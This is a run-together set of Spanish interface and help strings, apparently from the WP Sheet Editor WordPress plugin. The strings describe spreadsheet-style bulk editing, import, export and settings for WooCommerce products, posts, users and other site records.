                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y mucho más.

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y guardarlo para sesiones futuras.

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y autor.

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los campos de cupones. Búsqueda avanzada por cualquier campo. Generar automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. Y mucho más.

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. Crear descargas y archivos masivamente. Editar cientos de productos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más.

                  Ver todos los eventos del plugin The Events Calendar en una hoja de cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y mucho más.

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja de cálculo. Editar perfiles rápidamente. Ver y editar la información de facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. Exportar clientes a Excel o Google Sheets. Importar clientes desde aplicaciones externas.

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, productos, etc.). Exportar pedidos e información de clientes incluyendo clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca de medios de WordPress en una hoja de cálculo. Editar todos los campos de los archivos, incluyendo el texto alternativo, la leyenda, las descripciones de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de manera automática los textos alternativos, las leyendas, etc. usando el título o las categorías de las entradas principales. Actualizar miles de archivos a la vez. Y mucho más.

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la esquina de la celda a otras celdas, como lo haces en Excel.

                  Puedes crear columnas para campos personalizados.
                  Editar la configuración de la página añadida por el tema, los detalles del evento, la información de los productos, etc.

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar de mostrar "Autor" en la hoja de cálculo, puedes cambiarlo a "Subido por".

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de cálculo.

                  Editando el campo: {column_label}. Filas a procesar: {total}, Progreso: {progress_percentage}%%, Hemos actualizado {edited} filas.

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los ajustes de la edición masiva son correctos antes de ejecutar.

                  Completo

                  .

                  Extensiones gratuitas

                  Envía notificaciones por correo electrónico a los usuarios de forma masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/miembros de un foro/afiliados/comentaristas del blog por país, ciudad, estado, recuento de pedidos, etc., y enviarles correos electrónicos importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar la entrega de los correos electrónicos y tener en cuenta el consentimiento de los usuarios y las leyes de privacidad.

                  El guardado automático falló. Tus cambios no se guardaron completamente debido a un error. Puedes intentarlo de nuevo más tarde. Si el error persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta.

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana emergente. Ver los cambios masivos programados.

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado debido a un error.

                  Puedes cerrar esta ventana.

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. Ver los cambios programados.

                  Los cambios no se guardaron completamente. El proceso fue cancelado debido a un error .

                  Puedes cerrar esta ventana emergente.

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las exportaciones programadas.

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. Ver las importaciones programadas.

                  La importación ha terminado

                  Puedes cerrar esta ventana.

                  El proceso ha terminado

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y gestionar rápidamente tu sitio web de donaciones.

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, descripción, fecha, SKU, precio normal, precio rebajado, estado de inventario, gestión del inventario, cantidad de existencias.

                  Más columnas y tipos de producto disponibles como extensión premium.

                  ¿Merecemos 5 estrellas? Sí, lo merecen. . - . No¿Falta una columna?¿Falta una columna? Habilítala ¿Faltan campos? Haz clic aquíACF: ¿Mostrar las casillas de verificación como desplegados de selección múltiple?Aceptar posts de este post typeAceptar términos de esta taxonomíaAcciónActivar el modo de pantalla completaActiva esta opción para eliminar los botones de paginación y cargar las filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas al mismo tiempo, puedes cargar miles de filas sin problemas.Filtros activos:Activo.Añadir NuevoAgregar nuevas columnas a la hoja de cálculoAgregar Nueva Hoja de CálculoAgrega un nombre para este grupo de columnasAñadir una llamada a la acción o cualquier texto al principio o al final de tus postsAñadir columnas nuevas para campos personalizadosAgrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.¿Añadir clases html a las celdas " estado de la entrada " en función de sus valores?Añadir nuevoAñadir nueva columnaAñadir un nuevo post typeAgregar tiempo a las fechas existentesEl rol de administrador puede ver y editar todo.Advanced Custom FieldsBúsqueda AvanzadaAjustes AvanzadosModo avanzadoBúsqueda avanzadaConfiguración avanzadaTodas las Hojas de CálculoTodos los cambios fueron guardados.Se han guardado todos los elementos.Todas las funciones disponibles en la hoja de cálculo del backend pueden utilizarse en el frontend.Todos los parámetros se utilizarán para buscar variaciones en lugar de los productos principales.Todos los productos de la tiendaTodas las filas de mi lista actualTodos los productos variablesPermitirPermitir reservasPermitir saltos de línea en valores al exportar e importar?¿Permitir varios archivos por campo?¿Permitir varios posts por campo?¿Permitir varios términos por campo?Permitir HTML seguro en títulos de posts?¿Permitir editar esta columna en las filas de variaciones?¿Permitir editar usando fórmulas?¿Permitir ocultar la columna?¿Permitir ocultar esta columna en la página de ajustes?¿Permitir la importación de imágenes desde servidores FTP?¿Permitir renombrar la columna en la página de ajustes?¿Permitir renombrar la columna?¿Permitir ver el slug de la URL de la variación?¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier html en la columna de contenido del post?Permitir a los usuarios editar campos personalizados, añadir nuevas columnas al editor, habilitar campos, deshabilitar campos principales y ordenar los campos. Puedes personalizar completamente el editor frontend.Permite a tus clientes editar productos WooCommerce usando la hoja de cálculo sin tener que usar el escritorio de wp-adminPermite a los vendedores de tu mercado editar los productos masivamentePermite a los vendedores de tu mercado importar productos en el frontendPermite que tus lectores entreguen entradas del blog usando la hoja de cálculoPermite a los compradores de tu tienda descargar el catálogoPermite a los clientes de tu tienda realizar búsquedas avanzadas en el catálogo Permite a los empleados de tu tienda gestionar el inventario y los preciosPermite a tus visitantes publicar eventosPermitir, pero se avisará al clienteValores permitidosDescargadaTexto alternativo¿Ejecutar siempre la acción save_post después de editar cualquier fila de la entrada?Y más.Y ver vistas previas durante la ediciónCualquiera de estos valores (Ingresa múltiples valores separados por ;)Añadir al finalAplicación/SoftwareAplicar cambios masivamenteAplicar ajustes¿Seguro de que quieres borrar este post type? También borrarás los post en el post type¿Estás seguro de que quieres borrar esta columna?¿Estás seguro de que quieres eliminar esta vista de columnas?¿Estás seguro de que quieres eliminar esta tarea programada y todos sus archivos relacionados?¿Acoplar cada término de taxonomía de la jerarquía a los posts?Atributo %d por defectoAtributo %d globalNombre del atributo %dValor del/los atributo(s) %dAtributo %d visibleNombre del atributoValor(es) del atributoVisibilidad del atributoAtributosLos atributos aparecen como desplegables en la página del producto, donde el usuario puede seleccionar los colores, tamaños y cualquier atributo de la variación. Aquí se pueden definir las opciones por defecto seleccionadas en los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo funciona para Productos Variables y deben tener variaciones, de lo contrario los atributos por defecto no se guardarán.AutorEl rol de autor sólo puede ver y editar sus propios post y subir imágenes.Automático (por defecto)¿Reintentar automáticamente los lotes fallidos?Autocompletar las celdasAutomáticoComponentes disponiblesHojas de cálculo disponiblesHerramientas disponibles (opcional)Puntuación mediaBackend¿Permitir reservas?Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras actualizaciones.Búsqueda básicaPoner estas columnas en la lista negraMasivoEditor MasivoFunción de cambios masivosAcciones masivasEditar esta columna masivamenteCambio masivo no ejecutado. No se han encontrado elementos que cumplan los criterios.ComprarComprar el paquete¡Compra la extensión ahora!Por defecto, WordPress muestra una barra negra en la parte superior de la página cuando un usuario que ha iniciado sesión ve una página del frontend. La barra te permite acceder a wp-admin, cerrar sesión, editar la página actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar el código abreviado: [vg_display_logout_link] para mostrar el enlace de cierre de sesión.Por defecto, las fechas se muestran en un calendario, el contenido del post tiene una opción de editor de texto, las imágenes muestran una vista previa, etc. Puedes habilitar esta opción para que se muestre todo como texto sin formato y deshabilitar el formato elegante.Por defecto mostramos automáticamente columnas para todos los nuevos campos encontrados, así que cada vez que detectamos nuevos campos puedes verlos y editarlos inmediatamente. Pero esto puede "romper" tu orden de columnas o molestarte si has habilitado columnas específicas. Habilita esta opción para generar esas columnas pero dejarlas desactivadas para que puedas habilitarlas más tarde.Por defecto, mostramos comentarios en algunas columnas indicando el formato del valor o por qué están bloqueados. Por ejemplo, la columna de categorías muestra un consejo que indica que hay que separar los términos con una coma y cómo añadir categorías menores, las columnas de variaciones tienen un consejo que indica por qué están bloqueadas para los productos de los padres. Puedes activar esta opción para desactivar esos consejos.Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, programado, papelera. Sin embargo, algunos plugins registran estados personalizados: gestores de trabajos, comercio de madera. Habilita esta opción para mostrar todos los estados personalizados en la columna "status". CUIDADO. Mostraremos todos los estados de todos los post types en el desplegable porque es imposible saber el post type de cada estado al no poder separarlos. Haz esto sólo si eres un desarrollador.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los ID de los términos separados por comas.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los términos separados por comas.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y deshabilitar la lista infinita.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y desactivar la lista infinita.Por defecto, copiaremos todos los atributos y todas las variaciones y reemplazaremos las variaciones existentes. Puedes habilitar esta opción para copiar variaciones individuales y añadirlas a las variaciones existentes en el producto de destino.Por defecto, por razones de rendimiento, activamos los eventos de la API WC cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos de la API de WC cuando se edite cualquier campo, incluidos los campos no relacionados con WC.Por defecto, si el producto es variable, activamos la opción "Usar para variaciones" para ahorrarte tiempo y que puedas crear tus variaciones más rápido. Pero si prefieres activar esa opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, la columna "padre" muestra títulos y guarda utilizando títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. Esto es útil si tienes títulos duplicados y necesitas guardar el padre exacto por ID.Por defecto, el importador permite guardar imágenes usando URLs internas completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: ftp://user:password@host:port/path/to/image.png. Esto hará que la importación sea más lentaBy default, we create 100 copies per batchPor defecto, exportamos e importamos una columna llamada "Imágenes" con la imagen destacada y galería combinada. Habilita esta opción para exportar e importar una columna para la imagen destacada y una para la galería de imágenes.Por defecto, hacemos visibles los atributos en los productos cuando guardas cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si prefieres habilitar esta opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, sólo asignamos el último término de la jerarquía a las entradas porque WordPress las gestiona correctamente de forma automática. Pero si quieres asignar cada término a la entrada, incluyendo las categorías padre, habilita esta opción.Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí para ver previsualizaciones más grandes.Por defecto, eliminamos cualquier html inseguro de todas las columnas de la hoja de cálculo antes de guardar los valores. Puedes activar esta opción si quieres permitir a los superadministradores o administradores de WordPress añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala bajo tu propia responsabilidad.Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un campo de datos de la entrada (campos que no sean meta y taxonomías) por razones de rendimiento. Habilita esto si otros plugins no están detectando nuestros cambios o los webhooks no se están ejecutando.Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda avanzada, edición masiva, exportación, importación, etc), aunque estén deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar solo las columnas habilitadas.Por defecto, mostramos cada casilla de verificación como una columna separada, pero si tienes casillas de verificación con muchas opciones es posible que desees utilizar una columna con un desplegable en su lugar.Por defecto, mostramos el nombre del archivo como texto de vista previa junto a la miniatura, habilita esto para mostrar solo la miniatura y botones únicamente.Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas.Por defecto, al exportar una columna con imágenes, agregamos el ID del archivo a la URL para que al importar, sepamos el origen de la imagen y la guardemos más rápido. Activa esta opción para no agregar el ID a la URL, todo funciona bien al habilitar esta opción, solo que el guardado puede ser un poquito más lento.Por defecto, la importación se detiene cuando un producto hace referencia a una imagen rota y hay que corregir el problema en el archivo e iniciar una nueva importación. Habilita esta opción y te permitiremos importar productos sin imágenes cuando la URL de la imagen esté rotaCANTIDAD DE CARACTERES <CANTIDAD DE CARACTERES >CONTIENEColumna en el CSVColumna en el CSVArchivo CSVArchivo CSV desde mi computadoraArchivo CSV desde una URLArchivo CSV en el servidorUbicación del archivo CSVCalendarioCancelarCancelar la importaciónCancelar los cambios y cerrar la ventana emergentePoner en mayúsculas la primera letra de cada palabra del campo. Es decir, convertir "mi título" en "Mi Título".Poner en mayúsculas las palabrasLeyendaCuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el procedimiento.Nombre de la categoría...Tipo de celdaCambiar los ajustes de los atributosCambiar el color de fondoCambios guardadosLos cambios se guardaron con éxitoCasilla de verificaciónBorrar valorHaz clic aquí para exportar los ajustesHaz clic aquí para ver todas las columnas otra vezBotónClics ahorrados
                  (estimado)CerrarFormato de columnaGrupos de columnasClave de la columnaNombre de columnaColumna no encontrada. Intenta con otro criterio de búsqueda.Columna removida. Ve a "Ajustes > Ocultar/mostrar columnas" para habilitarla de nuevoConfiguraciones definidas en el gestor de columnasTamaños de las columnasTítulos de las columnasAncho de columna (pixeles)Las columnas no se pudieron guardar. Inténtalo de nuevo.Columnas creadas manualmenteLímite de columnasGestor de columnasRenombrar columnasRedimensionar columnasColumnas restauradas con éxito. Por favor, recarga la página para ver las columnas restauradas y habilitarlasVisibilidad de las columnasVisibilidad de las columnas y los Campos Personalizados (opcional)Recuento de comentariosComentariosHoja de Cálculo de Comentarios, Reseñas y Notas de PedidoContáctanosContiene palabra claveContenidoContinuarEl rol de colaborador sólo puede ver y editar sus propios posts, pero no puede subir imágenes.Copiar y pegar desde otra hoja de cálculo o tablaCopiar y pegar en la siguiente hoja de cálculoCopiar archivos de este producto: (Necesitas guardar los cambios después.)Copiar de otras columnasCopiar de esta columnaCopiar precio normal y disminuir en porcentajeCopiar el precio normal y disminuir en cantidadCopiar el valor de otros campos en este campo.
                  Ejemplo, copiar "precio rebajado" al campo "precio normal".Copiar las variaciones este/estos producto(s).Copiar variacionesCopiar variaciones y atributos de este producto:Copiar variaciones más rápido: Número de variaciones a copiar por loteCopiar variaciones de este productoCrear y copiar variaciones para los productos variables.Crear columnaCrear nuevas filas y actualizar las filas existentesCrear este número de variacionesCrear variaciones¿Crear variaciones para cada combinación de atributos?Ventas cruzadasMonedaHoja de cálculo actualHoja de Cálculo de Tablas de Bases de Datos PersonalizadasNombres de atributos personalizadosAtributo personalizado: %sColumnas personalizadasFórmula personalizadaTipos de post personalizados¿Personalizar las característicasModo oscuroFaltan datos, inténtalo de nuevo más tarde.Fuente de datosFechaFecha (GMT)Fecha y horaFecha InicialDíasDesactivar el prefetch de los datosSeparador de decimales¿Decodificar las comillas?Disminuir enDisminuir en númeroDisminuir en porcentajeDisminuye el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.Deducir tiempo de las fechas existentesPor defectoAtributo por defectoAtributos predeterminadosOrden por defectoPor defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o durante la importación, descargamos la imagen y la guardamos en la librería multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, cualquier descarga que supere eso será cancelada para evitar problemas de rendimiento.EliminarBorrar todoEliminar completamenteEliminar campoBorrar filas más rápido: Número de filas a borrar por loteBorrar filaBorrar filasEliminar campo serializado¿Borrar las imágenes adjuntas al borrar una entrada?Borrar los elementos nuevos y mantener el elemento más antiguoBorrar los elementos antiguos y mantener el elemento más reciente¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de cálculo?Video de demostraciónDescripciónDeshabilitar todas¿Deshabilitar la carga lenta de las celdas?Deshabilitar columna. Puedes habilitarla más tarde.¿Deshabilitar la promoción de extensiones?¿Desactivar las acciones posteriores al guardar cambios?¿Deshabilitar las estadísticas de inventario de productos?¿Deshabilitar el soporte de columnas serializadas?¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?¿Deshabilitar la activación automática de la opción "Es visible" para los atributos de los productos?¿Deshabilitar la activación automática de la opción "Usar para variaciones" para los atributos en los productos variables?¿Deshabilitar la detección automática del formato?¿Desactivar la carga automática de filas?¿No mostrar el nombre del archivo en la celda de las imágenes?¿Desactivar el modo de pantalla completa?¿Deshabilitar la api heartbeat en la hoja de cálculo?¿Deshabilitar la barra de ayuda?¿Deshabilitar la ventana emergente que te pide instalar extensiones importantes?¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?Deshabilita esta opción si estás usando un plugin de caché de objetos/bases de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. Cuando editas muchas entradas, WordPress intenta "limpiar" la caché incluso si no estás usando un plugin de caché, haciendo cientos de consultas innecesarias a la base de datos.¿Deshabilitar el widget de estadísticas de uso?DeshabilitadaSi desconectas el sitio actual de tu cuenta de Google y de la API de WP Sheet Editor, se detendrán las tareas de sincronización que hayas creado en este sitio. Sin embargo, las tareas de sincronización creadas por otros usuarios en este sitio, que se sincronizan con sus propias cuentas de Google, permanecerán activas. Tus otros sitios de WordPress seguirán funcionando con normalidad. ¿Quieres continuar?¿Mostrar el valor bruto en las celdas seleccionadas?Mostrar el editor de hojas de cálculo en el frontendMostrar el editor de hojas de cálculo en el frontendMostrar las variacionesNo permitir¿No copiar las imágenes de las variaciones?¿Quieres deshabilitar las columnas para los nuevos campos encontrados?Quieres borrar {rows_number} filas de la base de datos completamente? Si quieres restaurarlas después, deberías hacer una copia de seguridad antes.¿Quieres actualizar o crear filas?¿No mostrar las columnas deshabilitadas en los módulos?¿No mostrar columnas de sólo lectura en la búsqueda avanzada?DescargarID de la descarga %dURL de la descarga %dNombre de la descarga %dDescargar archivo CSVURL de la descargaCaducidad de la descargaArchivos descargablesArchivos descargables: URLsArchivos descargables: NombresLímite de descargasNombre de la descargaTipo de descargaActualización de descargaDescargableDescargasArrastra las columnas a la izquierda o a la derecha para habilitarlas/deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. Haz clic en el botón "editar" para renombrarlas, haz clic en el botón "x" para borrarlas por completo (sólo cuando estén deshabilitadas previamente).DuplicarDuplicar (Herramienta)Duplicar desde el idioma principalDuplicar artículos masivamenteDuplicar elementos masivamente.Duplicar filaDuplicar filas: Número de copias a crear por loteDuplicar este elemento:Archivos de descarga EDDPrecio variable EDDHABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: {columns}. ¿Quieres recargar ahora? Recargaremos automáticamente.TERMINA CONHoja de Cálculo de Easy Digital DownloadsEditarEditar Editar %sEditar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. Descargar PluginEditar Campos Personalizados en una Hoja de CálculoEditar Entradas y Páginas en una Hoja de CálculoEditar perfiles de usuario en una hoja de cálculo - BásicoEditar Perfiles de Usuario en la Hoja de Cálculo - COMPLETOEditar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre filas,
                  Editar post types personalizados y campos personalizados, Editar Perfiles de Usuario, y MásEditar %s de WordPressEditar todas las filas de mi búsqueda actual (incluyendo las filas no visibles).Editar atributosEditar categorías, etiquetas y atributos en una hoja de cálculoEditar archivosEditar en una Hoja de CálculoEditar la meta claveEditar solo los productos simples y padresEditar solo las variacionesEditar ajustesEditar las filas que he seleccionado manualmente en la hoja de cálculo.Editar las mismas filas que seleccioné manualmente previamenteEditar "%s"Editando:El rol de editor puede ver y editar todos los post y páginas.ElementorCorreo electrónicoMensaje del correoAsunto del correo electrónicoHabilitarHabilitar filtros avanzadosHabilitar todas¿Habilitar el guardado automático?Habilitar columnaHabilitar comentariosHabilitar nueva hoja de cálculo¿Habilitar la opción de restringir las vistas de hojas de cálculo por usuario?Habilitar la paginaciónHabilitar las valoraciones¿Habilitar el modo simple?Habilita el modo avanzado en la parte inferior de la página para personalizar el ancho de la columna, el formato (editor, carga de archivos, taxonomías), etc.¿Habilitar modo oscuro?Habilitar el selector de términos de taxonomía bonitoHabilitar la corrección de la codificación utf8Habilita esta opción si quieres copiar todos los datos de la variación, excepto la imagen de la variación.HabilitadasHabilitar esta columna requiere una recarga de la páginaIngresa %sIngresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. Puedes agregar rangos como 20-50 como un acceso directo.Ingresa un formato de fecha. Lista de formatos. Ejemplo: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: A-m-d H:i:sIngresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: D-M-A Ingresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-d H:i:sIngresa una palabra claveIngresa una palabra clave para excluir filas. Separa múltiples palabras claves con un punto y coma (;)Ingresa un nombre...Ingresa un número y esas columnas se fijarán al hacer scroll horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas.Ingresa un término de búsqueda...Ingresa un títuloIngresa un nombre de usuario o correo electrónico...Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás tener que desplazarte por docenas de columnas para encontrar la que necesitas.Ingresa cada selección en una nueva línea. Para mayor control, puedes especificar un valor y una etiqueta así: rojo : RojoIngresar nombre del elemento...Ingresa varios SKUs o IDs separados por comasIngresa múltiples URLs separadas por comasIngresa varios atributos separados por |Ingresa los códigos de varios idiomas separados por comas y crearemos copias del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán omitidos.Ingresa varios títulos separados por comasIngresa varios términos separados por %sIngresa varios términos separados por comasIngresa una URL por líneaIngresa uno o más términos separados por %s o uno nuevo en cada línea. Ingresa la jerarquía completa como "Padre > Hijo" para remover subcategoríasIngresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio.com/wp-content/uploads/2016/01/file.jpg) o una URL externa.Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio.com/wp-content/uploads/2016/01/file.jpgIngresa las URL separadas por comas. Pueden ser de tu propio sitio.Ingresa las URL separadas por comas. Deben ser de tu propio sitio.Ingresa el nombre del atributoIngresa el nombre de la columna (lo que quieras) y selecciona la clave de campo en el menú desplegable. Si no la encuentras, puedes escribirla en el desplegable. Ver Tutorial Debes ingresar la jerarquía completa como padre > hijoIngresa la lista de claves de campo separadas por comas, puedes ingresar la clave completa del campo meta o las palabras clave o prefijos parciales. Esto es útil porque algunos plugins añaden miles de campos innecesarios a la base de datos y desordenan la hoja de cálculoIngresa los nombres de Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como padre > hijo > hijoIngresa el número.Ingresa el número del porcentaje.Ingresa el nombre o el slug del término.Ingresa el valor a añadir al final del valor existente.Ingresa el valor para añadir al inicio del valor existente.Error en la fila con el ID: %d - %sError. El motor matemático no pudo ejecutar la operación matemática: %1$s, ID: %2$dError. La columna "Estado" debe estar habilitada en la hoja de cálculo antes de remover los duplicados.Error: %sError: El nuevo valor está vacío o es igual al valor antiguoEtc.Hoja de Cálculo de The Events CalendarYa está todo guardado.Todo lo que necesitas para todos los post types y productosTodo lo que necesitas para los usuarios y clientesEjemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 (Establecer precio normal - 30%)Ejemplo: ExtractoEjecutarEjecutar AhoraSalirSalir del modo de Pantalla CompletaExportarExportar e importar ajustesExportar columnaExportar filas más rápido: Número de filas a exportar por loteExportar a un archivo CSVAmpliar la hoja de cálculoNombre de la extensiónExtensionesExtensiones que requieren actualizaciónImágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?Campos de búsqueda marcados como favoritosImagen DestacadaImagen destacadaCampoCampo 2: Columna en el CSVCampo 2: Campo en WordPressArchivo (URL o ruta)ID del archivoURL del archivoURLs de archivosNo se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo.Cargar archivoCarga de archivos (múltiple)Carga de archivos (individual)El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una codificación incorrecta. Si editaste el archivo en Excel, verifica que se guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo los valores y no el formato para evitar pegar caracteres inválidos.Archivos guardados.Filtrar elementos de la listaPaso finalEncontrar estos IDs:Encontrar estas URLs:Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 parámetros: $current_data (string con el valor actual de la celda) y $row_id, la función debe aceptar los 2 parámetros y devolver el valor modificado para guardar como string. Automáticamente guardaremos si el valor devuelto cambió. Leer más.Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta de búsqueda, actualizaremos sólo los posts con el autor MarcosPor ejemplo, si seleccionas las categorías del blog, sólo aceptaremos categorías del blog en esta columna.Por ejemplo, si seleccionas el post type "producto", sólo aceptaremos títulos de productos.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos productos que no tienen traducción al español ni al alemán.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos términos que no tienen traducción al español ni al alemán.Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se borra la imagen destacada y las imágenes de la galería de productos de la biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, se romperán las imágenes en otros postsModo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda está vacío)Fórmulas¿Congelar las columnas iniciales del lado izquierdo?Hoja de Cálculo FrontendHojas de Cálculo FrontendURL CompletaContenidoEl modo de pantalla completa está activadoGaleríaAjustes generalesGenerar extractoGenerar columnas de campos serializados basados en estos postsObtén ayuda instantánea en el chat en vivo + soporte por correo electrónico en horas de oficinaObtén las siguientes %d extensiones por sólo $ %s $ %sHoja de Cálculo de GiveWPOrden globalPásate a PremiumAtrásIr a la páginaIr arribaHojas de Cálculo de GoogleGuías y TutorialesAlturaAyudaAquí hay un archivo CSV como ejemplo que contiene todo tipo de productos.Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas un valor alto, la copia terminará más rápido pero puede saturar tu servidor. Recomendamos copiar 50 por tanda.Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un número alto, las exportaciones terminarán más rápido. Puedes usar un número alto de forma segura porque automáticamente volvemos a un número más bajo si el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 filas por lote y completar las exportaciones súper rápido y si detectamos lentitud en una exportación reiniciaremos automáticamente la exportación con 10 filas por loteOcultar / Mostrar columnasOcultar la barra de administración en el frontendOcultar columnaHoras¿Cómo se guardan los valores múltiples en la base de datos?¿Cómo debemos encontrar los elementos existentes a editar?¿Cómo quieres guardar los archivos múltiples?¿Cómo quieres guardar los posts múltiples?¿Cómo quieres guardar los términos múltiples?¿Cómo se guarda el archivo en la base de datos?¿Cómo se guarda el post en la base de datos?¿Cómo se guarda el término taxonómico en la base de datos?¿Cómo se guarda el usuario en la base de datos?¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)¿Cuántas copias quieres crear?No quiero copiar todas las variacionesTengo una copia de seguridad de la base de datos. Ejecutar AhoraEntiendo que se editarán los productos de mi búsqueda.Entiendo, continuarQuiero buscar las filas a editar y editar todos los resultados de la búsquedaPor ejemplo, un valor como "(234343) Mi gran título" puede convertirse en "Mi gran título" eliminando todo lo que precede a ") ".Es decir, un valor como "Mi gran título (234343)" puede convertirse en "Mi gran título" eliminando todo lo que aparece después de " ("IDSi la columna tiene texto demasiado largo, borraremos el HTML y lo acortaremos a un número de palabras.Si se trata de un atributo global, ingresa la clave del atributo (por ejemplo, pa_color). Ingresa el nombre si se trata de un atributo personalizado.Si estás intentando descargar algo que se exportó hace varias horas, es posible que el archivo haya caducado. Los archivos caducan al cabo de %s horas.Si haces clic en el botón "descargar", descargaremos el archivo desde el sitio web oficial: wpsheeteditor.com.Si deshabilitas esta opción, esta columna sólo se editará manualmente.Si habilitas esta opción, algunas columnas aparecerán como texto. Normalmente detectamos los campos de 